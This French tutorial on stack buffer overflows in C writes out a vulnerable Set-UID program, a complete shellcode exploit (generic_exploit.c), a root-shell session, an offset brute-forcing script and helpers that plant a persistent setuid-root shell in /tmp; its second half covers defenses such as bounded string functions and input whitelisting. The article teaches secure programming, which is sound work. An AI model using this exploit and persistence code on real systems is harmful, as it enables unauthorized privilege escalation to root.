Dans notre précédent article, nous avons donc obtenu un fragment de programme tenant en une cinquantaine d'octets, capable de faire démarrer un shell ou de se terminer en cas d'échec. Il nous faut à présent arriver à insérer ce code au sein de l'application que nous voulons attaquer. Cela s'effectue en écrasant l'adresse de retour d'une fonction pour la remplacer par l'adresse de notre shellcode, ce qui se produit en forçant le débordement d'une variable automatique, allouée dans la pile du processus.
Par exemple, dans le programme suivant, nous recopions dans un buffer de
500 octets la chaîne de caractères passée en premier argument sur la ligne
de commande. Cette copie s'effectue sans vérifier que la taille du buffer ne
soit pas dépassée. Comme nous le verrons plus tard, il aurait simplement fallu
employer la fonction strncpy()
pour éviter ce problème.
/* vulnerable.c */ #include <string.h> int main(int argc, char * argv []) { char buffer [500]; if (argc > 1) strcpy(buffer, argv[1]); return (0); }
buffer
est une variable automatique, l'espace occupé par les
500 octets est réservé dans la pile dès l'entrée dans la fonction
main()
. Lors de l'exécution du programme vulnerable
avec un argument long de plus de 500 caractères, les données débordent du
buffer, et envahissent la pile du processus. Comme nous l'avons vu précédemment,
la pile contient l'adresse de la prochaine instruction à exécuter (appelée
communément adresse de retour). Pour exploiter cette faille de
sécurité, il suffit de remplacer l'adresse de retour de la fonction par
l'adresse où se situe le shellcode que nous voulons exécuter. Ce shellcode est
inséré dans le corps même du buffer, suivi de l'adresse qu'il occupera en
mémoire.
Obtenir l'adresse mémoire du shellcode constitue une opération délicate. Nous
devons découvrir le décalage existant entre le registre %esp
, qui
pointe sur le sommet de la pile, et l'adresse du shellcode. De façon à disposer
d'une certaine marge, le début du buffer est rempli avec l'instruction
assembleur NOP
; il s'agit d'une instruction neutre codée sur un
octet, n'ayant strictement aucun effet. Ainsi, lorsque l'adresse de départ
pointe en deçà du début réel du shellcode, le processeur passera de
NOP
en NOP
jusqu'à atteindre effectivement notre code.
Pour optimiser nos chances, nous plaçons le shellcode au milieu du buffer, suivi
de l'adresse de démarrage répétée jusqu'à la fin, et précédé d'un bloc de
NOP
. La figure
1 illustre la construction du buffer qui servira d'exploit.
Toutefois il existe un autre problème lié à l'alignement des variables dans
la pile. En effet, une adresse étant stockée sur plusieurs octets, l'alignement
au sein de la pile ne convient pas toujours. Cet inconvénient se résout en
"tâtonnant" sur l'alignement à utiliser. Comme notre processeur utilise des mots
de 4 octets, l'alignement vaut 0, 1, 2 ou 3 octet(s) (voir l'article 2 sur
l'organisation de la pile pour de plus amples détails). Sur la figure
2, les parties grisées correspondent aux 4 octets écrits. Seul le premier
cas, où l'adresse de retour est complètement écrasée, fonctionne. Les autres
conduisent à des erreurs type segmentation violation
ou
illegal instruction
. Cette recherche empirique fonctionne
parfaitement car la puissance des ordinateurs actuels nous autorise à faire ces
tests peu coûteux.
Nous allons écrire un petit programme qui lance une application vulnérable en lui transmettant un buffer qui fera déborder la pile. Ce programme dispose de plusieurs options pour cadrer la position du shellcode en mémoire, choisir le programme à exécuter. Cette version, inspirée de l'article d'Aleph One dans le numéro 49 du magazine phrack, est disponible sur le site de Christophe Grenier.
Comment passer notre buffer ainsi préparé à l'application visée ?
Classiquement, il s'agit d'un paramètre en ligne de commande comme dans le cas
de vulnerable.c
ou d'une variable d'environnement. Le dépassement a
parfois lieu à partir de lignes saisies par l'utilisateur, ce qui est plus
difficile à automatiser, ou de données lues dans un fichier.
Le programme generic_exploit.c
commence par allouer le buffer de
la taille désirée, y copie le shellcode et assure le remplissage décrit plus
haut avec les adresses et les codes NOP. Ensuite il prépare un tableau
d'arguments et lance l'application cible en utilisant l'instruction
execve()
qui remplace le processus courant par celui invoqué. Les
paramètres de generic_exploit
sont la taille du buffer à exploiter
(un peu plus que sa taille pour écraser l'adresse de retour), l'offset en
mémoire, l'alignement. On indique si on passe le buffer via une variable
d'environnement (var
) ou en ligne de commande (novar
).
L'argument force/noforce
permet l'appel ou non à la fonction
setuid()/setgid()
dans le shellcode.
/* generic_exploit.c */ #include <stdio.h> #include <stdlib.h> #include <unistd.h> #include <sys/stat.h> #define NOP 0x90 char shellcode[] = "\xeb\x1f\x5e\x89\x76\xff\x31\xc0\x88\x46\xff\x89\x46\xff\xb0\x0b" "\x89\xf3\x8d\x4e\xff\x8d\x56\xff\xcd\x80\x31\xdb\x89\xd8\x40\xcd" "\x80\xe8\xdc\xff\xff\xff"; unsigned long get_sp(void) { __asm__("movl %esp,%eax"); } #define A_BSIZE 1 #define A_OFFSET 2 #define A_ALIGN 3 #define A_VAR 4 #define A_FORCE 5 #define A_PROG2RUN 6 #define A_TARGET 7 #define A_ARG 8 int main(int argc, char *argv[]) { char *buff, *ptr; char **args; long addr; int offset, bsize; int i,j,n; struct stat stat_struct; int align; if(argc < A_ARG) { printf("USAGE: %s bsize offset align (var / novar) (force/noforce) prog2run target param\n", argv[0]); return -1; } if(stat(argv[A_TARGET],&stat_struct)) { printf("\nCannot stat %s\n", argv[A_TARGET]); return 1; } bsize = atoi(argv[A_BSIZE]); offset = atoi(argv[A_OFFSET]); align = atoi(argv[A_ALIGN]); if(!(buff = malloc(bsize))) { printf("Can't allocate memory.\n"); exit(0); } addr = get_sp() + offset; printf("bsize %d, offset %d\n", bsize, offset); printf("Using address: 0lx%lx\n", addr); for(i = 0; i < bsize; i+=4) *(long*)(&buff[i]+align) = addr; for(i = 0; i < bsize/2; i++) buff[i] = NOP; ptr = buff + ((bsize/2) - strlen(shellcode) - strlen(argv[4])); if(strcmp(argv[A_FORCE],"force")==0) { if(S_ISUID&stat_struct.st_mode) { printf("uid %d\n", stat_struct.st_uid); *(ptr++)= 0x31; /* xorl %eax,%eax */ *(ptr++)= 0xc0; *(ptr++)= 0x31; /* xorl %ebx,%ebx */ *(ptr++)= 0xdb; if(stat_struct.st_uid & 0xFF) { *(ptr++)= 0xb3; /* movb $0x??,%bl */ *(ptr++)= stat_struct.st_uid; } if(stat_struct.st_uid & 0xFF00) { *(ptr++)= 0xb7; /* movb $0x??,%bh */ *(ptr++)= stat_struct.st_uid; } *(ptr++)= 0xb0; /* movb $0x17,%al */ *(ptr++)= 0x17; *(ptr++)= 0xcd; /* int $0x80 */ *(ptr++)= 0x80; } if(S_ISGID&stat_struct.st_mode) { printf("gid %d\n", stat_struct.st_gid); *(ptr++)= 0x31; /* xorl %eax,%eax */ *(ptr++)= 0xc0; *(ptr++)= 0x31; /* xorl %ebx,%ebx */ *(ptr++)= 0xdb; if(stat_struct.st_gid & 0xFF) { *(ptr++)= 0xb3; /* movb $0x??,%bl */ *(ptr++)= stat_struct.st_gid; } if(stat_struct.st_gid & 0xFF00) { *(ptr++)= 0xb7; /* movb $0x??,%bh */ *(ptr++)= stat_struct.st_gid; } *(ptr++)= 0xb0; /* movb $0x2e,%al */ *(ptr++)= 0x2e; *(ptr++)= 0xcd; /* int $0x80 */ *(ptr++)= 0x80; } } /* Patch shellcode */ n=strlen(argv[A_PROG2RUN]); shellcode[13] = shellcode[23] = n + 5; shellcode[5] = shellcode[20] = n + 1; shellcode[10] = n; for(i = 0; i < strlen(shellcode); i++) *(ptr++) = shellcode[i]; /* Copy prog2run */ printf("Shellcode will start %s\n", argv[A_PROG2RUN]); memcpy(ptr,argv[A_PROG2RUN],strlen(argv[A_PROG2RUN])); buff[bsize - 1] = '\0'; args = (char**)malloc(sizeof(char*) * (argc - A_TARGET + 3)); j=0; for(i = A_TARGET; i < argc; i++) args[j++] = argv[i]; if(strcmp(argv[A_VAR],"novar")==0) { args[j++]=buff; args[j++]=NULL; return execve(args[0],args,NULL); } else { setenv(argv[A_VAR],buff,1); args[j++]=NULL; return execv(args[0],args); } }
Pour tirer profit de vulnerable.c
, nous devons disposer d'un
buffer plus grand que celui prévu par l'application. Nous choisissons par
exemple 600 octets au lieu des 500 prévus. La recherche du décalage par
rapport au sommet de la pile se fait par essais successifs. L'adresse,
construite par l'instruction addr = get_sp() + offset;
et dont le
but est d'écraser l'adresse du retour, est obtenue ... par chance ! L'opération
effectuée repose sur l'heuristique que le registre %esp
ne bougera
pas trop entre le processus courant et celui appelé en fin de programme. En
pratique, rien n'est moins sûr : plusieurs évènements peuvent venir modifier
l'état de la pile entre le moment où ce calcul est effectué et celui où le
programme à exploiter est appelé. Ici, nous sommes arrivés à déclencher un
débordement exploitable avec un offset de -1900 octets. Naturellement pour que
l'expérience soit complète, la cible vulnerable
doit être Set-UID
root.
$ cc vulnerable.c -o vulnerable $ cc generic_exploit.c -o generic_exploit $ su Password: # chown root.root vulnerable # chmod u+s vulnerable # exit $ ls -l vulnerable -rws--x--x 1 root root 11732 Dec 5 15:50 vulnerable $ ./generic_exploit 600 -1900 0 novar noforce /bin/sh ./vulnerable bsize 600, offset -1900 Using address: 0lxbffffe54 Shellcode will start /bin/sh bash# id uid=1000(raynal) gid=100(users) euid=0(root) groups=100(users) bash# exit $ ./generic_exploit 600 -1900 0 novar force /bin/sh /tmp/vulnerable bsize 600, offset -1900 Using address: 0lxbffffe64 uid 0 Shellcode will start /bin/sh bash# id uid=0(root) gid=100(users) groups=100(users) bash# exitDans le premier cas (
noforce
), notre uid
ne
change pas. En revanche, nous disposons d'un nouvel euid
qui nous
confère tous les droits. Ainsi, même si en éditant le fichier
/etc/passwd
avec vi
, ce dernier affirme qu'il est en
lecture seule, toutes les modifications fonctionnent très bien : il faut juste
forcer la sauvegarde avec w!
:) Le paramêtre force
permet d'avoir dès le début uid=euid=0
.
Pour rechercher automatiquement les valeurs de décalage assurant un débordement, l'utilisation d'un petit script shell rend les choses encore plus faciles :
#! /bin/sh # cherche_exploit.sh BUFFER=600 OFFSET=$BUFFER OFFSET_MAX=2000 while [ $OFFSET -lt $OFFSET_MAX ] ; do echo "Offset = $OFFSET" ./generic_exploit $BUFFER $OFFSET 0 novar force /bin/sh ./vulnerable OFFSET=$(($OFFSET + 4)) doneDans notre exploitation, nous ne nous sommes pas préoccupés des problêmes potentiels d'alignement. Il est donc tout à fait possible que cet exemple ne fonctionne pas avec les mêmes valeurs chez vous, voire pas du tout à cause de l'alignement :( Pour ceux qui veulent quand même essayer, il faut changer le paramètre d'alignement à 1, 2 ou 3 (ici, 0). Certains systèmes ne supportent pas l'écriture sur des zones de mémoires qui ne correspondent pas à un mot complet, mais ce problème n'existe pas sous Linux :)
Malheureusement, il arrive que le shell obtenu soit inutilisable car il se termine tout seul ou dès l'appuie sur une touche. Un moyen, à peine détourné, permet de conserver ces privilèges si laborieusement acquis.
/* set_run_shell.c */ #include <unistd.h> #include <sys/stat.h> int main() { chown ("/tmp/run_shell", geteuid(), getegid()); chmod ("/tmp/run_shell", 06755); return 0; }
Puisque notre exploit ne peut exécuter qu'une seule chose à la fois, nous
allons transférer, à l'aide du programme set_run_shell
, les droits
obtenus sur le programme run_shell
. Ce dernier nous offrira alors
le shell espéré.
/* run_shell.c */ #include <stdio.h> #include <stdlib.h> #include <unistd.h> #include <sys/types.h> #include <sys/stat.h> int main() { setuid(geteuid()); setgid(getegid()); execl("/tmp/shell","shell","-i",0); exit (0); }L'option
-i
correspond à interactif
. Pourquoi ne
pas donner directement les droits à un shell ? Tout simplement parce que le bit
s
n'est pas effectif sur tous les shells. Les versions récentes
vérifient que l'uid est bien égale à l'euid, idem pour gid et egid. Ainsi
bash2
et tcsh
incorporent cette ligne de défense mais
ni bash
, ni ash
n'en disposent. Cette méthode doit
être raffinée dans le cas où la partition sur laquelle run_shell
(ici, /tmp
) est montée en nosuid
ou
noexec
.
Disposant d'un programme Set-UID contenant un bogue de débordement de buffer, ainsi que de son code source, nous sommes donc capables de préparer une attaque permettant d'exécuter n'importe quel code arbitraire sous l'identité du propriétaire du fichier. Notre propos toutefois vise à d'éviter les failles de sécurité. Nous allons donc examiner quelques règles à respecter pour échapper aux débordements de buffer.
La première règle à respecter relève simplement d'une question de bon sens : il est indispensable de toujours vérifier avec soin les indices utilisés pour manipuler un tableau. Un balayage maladroit du type :
for (i = 0; i <= n; i ++) { table [i] = ...contient probablement une erreur à cause du signe
<=
au
lieu de <
car un accès a lieu à un emplacement situé après la
fin de la table. Si la vérification est aisée lors d'un parcours dans ce sens,
le balayage des indices dans l'ordre décroissant nécessite une attention plus
soutenue pour être sûr de ne pas dépasser zéro "par en-dessous". Hormis les cas
triviaux de parcours for(i=0; i<n ; i++)
, il est indispensable
de vérifier à plusieurs reprises (voire de faire vérifier par quelqu'un d'autre)
l'algorithme employé, surtout à l'approche des extrémités de l'intervalle
parcouru.
Le même type de problème se pose avec les chaînes de caractères, pour lesquelles il faut toujours penser à allouer un octet supplémentaire pour le caractère nul final. Son oubli constitue l'un des bogues les plus fréquemment rencontrés par les débutants, et difficile à diagnostiquer puisqu'il peut passer longuement inaperçu en raison de l'alignement des variables.
Il ne faut pas sous-estimer le rôle des indices d'un tableau dans la sécurité d'une application. On a montré (voir Phrack numéro 55) qu'un seul octet de débordement pouvait suffire pour créer une faille de sécurité, en insérant le shellcode dans une variable d'environnement par exemple.
#define TAILLE_BUFFER 128 void foo(void) { char buffer[TAILLE_BUFFER+1]; /* fin de chaîne */ buffer[TAILLE_BUFFER] = '\0'; for (i = 0; i<TAILLE_BUFFER; i++) buffer[i] = ... }
strcpy(3)
copie dans une
chaîne de destination le contenu de la chaîne originale jusqu'à cet octet nul
compris. Dans certaines circonstances, ce comportement devient dangereux ; nous
avons vu que le code suivant présente une faille de sécurité : #define LG_IDENT 128 int fonction (const char * nom) { char identite [LG_IDENT]; strcpy (identite, nom); ... }Pour éviter ce genre de problèmes, il existe des fonctions dont la portée est limitée en longueur. Ces fonctions contiennent un `
n
' au milieu
de leur nom, par exemple strncpy(3)
en remplacement de
strcpy(3)
, strncat(3)
de strcat(3)
ou
même strnlen(3)
de strlen(3)
.
La limitation imposée par strncpy(3)
a toutefois des effets de
bord auxquels il faut prendre garde : lorsque la chaîne source est plus
courte que la destination, cette dernière sera complétée par des caractères nuls
jusqu'à la limite n, ce qui pénalise un peu l'application en terme de
performances. À l'inverse, si la source est plus longue, elle sera tronquée pour
remplir la destination mais cette dernière chaîne ne sera pas terminée par un
caractère nul. Il est donc indispensable de l'ajouter manuellement. La routine
précédente réécrite en respectant ceci devient alors :
#define LG_IDENT 128 int fonction (const char * nom) { char identite [LG_IDENT+1]; strncpy (identite, nom, LG_IDENT); identite [LG_IDENT] = '\0'; ... }Naturellement, les mêmes principes s'appliquent aux routines manipulant des caractères larges, en préférant par exemple
wcsncpy(3)
à
wcscpy(3)
ou wcsncat(3)
à wcscat(3)
. Le
programme s'allonge certes un peu, mais la sécurité s'accroît également.
Tout comme strcpy()
, strcat(3)
ne vérifie pas la
taille des buffers. La fonction strncat(3)
ajoute elle-même un
caractère de fin de chaîne si elle dispose de la place nécessaire. Le
remplacement de strcat(buffer1, buffer2);
par
strncat(buffer1, buffer2, sizeof(buffer1)-1);
suffit à élimer les
risques.
La fonction sprintf()
permet de recopier des données formatées
dans une chaîne. Elle aussi dispose d'une version permettant de contrôler le
nombre d'octets à copier : snprintf()
. Cette fonction renvoie
le nombre de caractères écrits dans la chaîne destinataire (sans comptabiliser
le `\0'). Tester cette valeur de retour permet donc de savoir si l'écriture
s'est déroulée correctement :
if (snprintf(dst, sizeof(dst) - 1, "%s", src) > sizeof(dst) - 1) { /* Débordement */ ... }
Bien évidemment, ces précautions ne valent plus rien dès que l'utilisateur obtient le contrôle sur le nombre d'octets à copier. Une telle faille dans BIND (Berkeley Internet Name Daemon) fut à l'origine de nombreux piratages :
struct hosten *hp; unsigned long adresse; ... /* copie d'une adresse */ memcpy(&adresse, hp->h_addr_list[0], hp->h_length); ...Normalement, ceci devrait toujours copier 4 octets. Cependant, s'il est possible de modifier
hp->h_length
, alors la pile devient à son
tour modifiable. Il est donc indispensable de vérifier la longueur des données
avant de copier : struct hosten *hp; unsigned long adresse; ... /* test */ if (hp->h_length > sizeof(adresse)) return 0; /* copie d'une adresse */ memcpy(&adresse, hp->h_addr_list[0], hp->h_length); ...Certaines circonstances n'autorisent toutefois pas cette troncature (chemin d'accès, nom d'hôte, URL, ...) et des mesures doivent alors être prises en amont dans le programme dès la saisie des données.
Tout d'abord cela concerne les routines de saisie de chaîne de caractères.
Avec ce qui précède, il est inutile de s'appesantir sur le fait qu'il ne faut
jamais utiliser gets(char *chaine)
puisqu'elle ne vérifie
pas la longueur de la chaîne saisie (note des auteurs : il serait bon que cette
routine soit totalement interdite par l'éditeur de liens pour les programmes
nouvellement compilés). Il existe des dangers plus insidieux se dissimulant dans
les saisies avec scanf()
. La ligne
scanf ("%s", chaine)par exemple comporte autant de risques que
gets(char
*chaine)
, mais saute moins yeux. Toutefois, les fonctions de la famille
de scanf()
offrent un mécanisme de contrôle sur la taille des
données : char buffer[256]; scanf("%255s", buffer);Le formatage limite le nombre de caractère recopié dans
buffer
à 255. Par ailleurs, scanf()
réinjectant dans
le flux d'entrée les caractères ne lui convenant pas (par exemple une lettre
alors qu'il attend un chiffre), les risques d'erreurs de programmation
engendrant des blocages sont relativement élevés.
En C++, le flux cin
remplace les fonctions classiques utilisées
en C (bien que celles-ci restent utilisables). Le programme suivant remplit un
buffer :
char buffer[500]; cin>>buffer;Comme vous le constatez, aucun test n'est réalisé ! Nous sommes ici dans une situation similaire à l'utilisation de
gets(char *chaine)
en C
: une porte est grande ouverte. La fonction membre ios::width()
permet de fixer le nombre maximal de caractère à lire.
La lecture des données nécessite deux étapes. Une première phase consiste à
récupérer la chaîne de caractères à l'aide de fgets(char *chaine, int
taille, FILE stream)
, qui limite la taille de la zone mémoire employée.
Dans un second temps, les données lues sont traitées, avec sscanf()
par exemple. La première phase peut également contenir d'autres opérations,
comme encadrer fgets(char *chaine, int taille, FILE stream)
avec
une boucle allouant automatiquement la mémoire nécessaire, sans imposer de
limite arbitraire. L'extension Gnu getline()
réalise cette
opération. Cette phase peut aussi inclure une validation des caractères saisis,
avec isalnum()
, isprint()
, etc. La fonction
strspn()
permet la mise en place de filtres efficaces et variés
(cf. juste après ... normalement). Le programme perd un peu en rapidité de
traitement, mais les parties les plus sensibles du code sont ainsi protégées par
un excellent gilet pare-balles contre les données litigieuses en entrée.
Les saisies directes de données ne sont pas les seuls points d'entrée susceptibles d'être attaqués. Les fichiers de données manipulés par le logiciel sont naturellement vulnérables, mais le code écrit pour leur lecture est généralement plus robuste que pour les saisies, les programmeurs ayant souvent une méfiance intuitive vis-à-vis du contenu des fichiers fournis par l'utilisateur.
Il existe aussi un autre point d'appui fréquemment employé par les attaques
de débordement de buffer : les chaînes d'environnement. Il ne faut pas oublier
qu'un programmeur peut configurer totalement l'environnement d'un processus
avant de le lancer. Les conventions qui veulent qu'une chaîne d'environnement
soit toujours du type "NOM=VALEUR
" n'ont aucune valeur face à un
utilisateur mal intentionné. L'utilisation de la routine getenv()
nécessite quelques précautions, notamment en ce qui concerne la longueur de la
chaîne renvoyée (arbitrairement longue), et son contenu (où l'on peut rencontrer
n'importe quel caractère y compris `=
'). La chaîne renvoyée par
getenv()
sera traitée comme celle fournie par fgets(char
*chaine, int taille, FILE stream)
, en surveillant sa longueur et en la
validant caractère par caractère.
La mise en place de tels filtres fonctionne encore une fois comme l'accès à un ordinateur : par défaut, il faut tout interdire ! Ensuite, certaines autorisations sont délivrées :
#define GOOD "abcdefghijklmnopqrstuvwxyz\ BCDEFGHIJKLMNOPQRSTUVWXYZ\ 1234567890_" char *my_getenv(char *var) { char *data, *ptr /* Récupération des données */ data = getenv(var); /* Filtrage Rem : il faut bien sur que le caractère de remplacemement soit dans la liste des caractères autorisés !!! */ for (ptr = data; *(ptr += strspn(ptr, GOOD));) *ptr = '_'; return data; }
La fonction strspn()
facilite ceci : elle recherche le premier
caractère qui n'est pas contenu dans l'ensemble spécifié. Elle retourne la
longueur de la chaîne (commençant en position 0) contenant uniquement des
caractères valides. Il ne faut absolument jamais utiliser, dans cette optique,
la contraposée de cette fonction, strcspn
, car la démarche revient
alors à spécifier les caractères interdits puis à s'assurer qu'aucun n'est
présent dans la saisie.
Le principe du débordement de buffer repose sur l'écrasement du contenu de la pile de manière à modifier l'adresse de retour d'une fonction. L'attaque porte sur des données automatiques, allouées uniquement dans la pile. Une manière de déplacer ce problème est de remplacer systématiquement les tables de caractères allouées dans la pile par des variables dynamiques se trouvant dans le tas. Pour cela on remplace les séquences
#define LG_CHAINE 128 int fonction (...) { char chaine [LG_CHAINE]; ... return (resultat); }par :
#define LG_CHAINE 128 int fonction (...) { char *chaine = NULL; if ((chaine = malloc (LG_CHAINE)) == NULL) return (-1); memset(chaine,'\0',LG_CHAINE); [...] free (chaine); return (resultat); }Ces lignes surchargent le code de manière importante et induisent des risques de fuite de mémoire, mais il faut profiter de ces modifications pour revoir quelque peu la conception en évitant d'imposer des limites arbitraires de longueur. Notons qu'il ne faut pas s'imaginer obtenir le même résultat de manière plus simple avec la fonction
alloca()
. Celle-ci alloue ses
données dans la pile du processus, ce qui nous ramène au même problème qu'avec
les variables automatiques. Le fait d'initialiser la mémoire à zéro avec
memset()
permet d'éviter quelques problèmes relatifs à
l'utilisation de variables non initialisées. Là encore, cela ne corrige pas le
problème, on rend simplement l'exploitation moins triviale. Pour ceux qui
veulent poursuivre sur le sujet, ils peuvent consulter l'article sur les Heap
Overflows de w00w00.
Enfin, signalons quand même qu'il est possible dans certaines circonstances
de supprimer rapidement une faille de sécurité avec un minimum de modifications
en ajoutant le mot clé static
devant la déclaration du buffer.
Celui-ci se retrouve alors alloué dans le segment de données loin de la pile du
processus. Il devient impossible d'obtenir un shell mais le problème de DoS
demeure. Bien entendu ceci ne fonctionne pas si la routine est appelée
récursivement. Il faut considérer ce remède comme un palliatif temporaire,
servant juste à éliminer dans l'urgence une faille de sécurité en intervenant au
minimum sur le code.
Christophe BLAESS - ccb@club-internet.fr Christophe GRENIER - grenier@nef.esiea.fr Frédéreric RAYNAL - pappy@users.sourceforge.net
Last modified: Mon Jan 8 10:23:13 CET 2001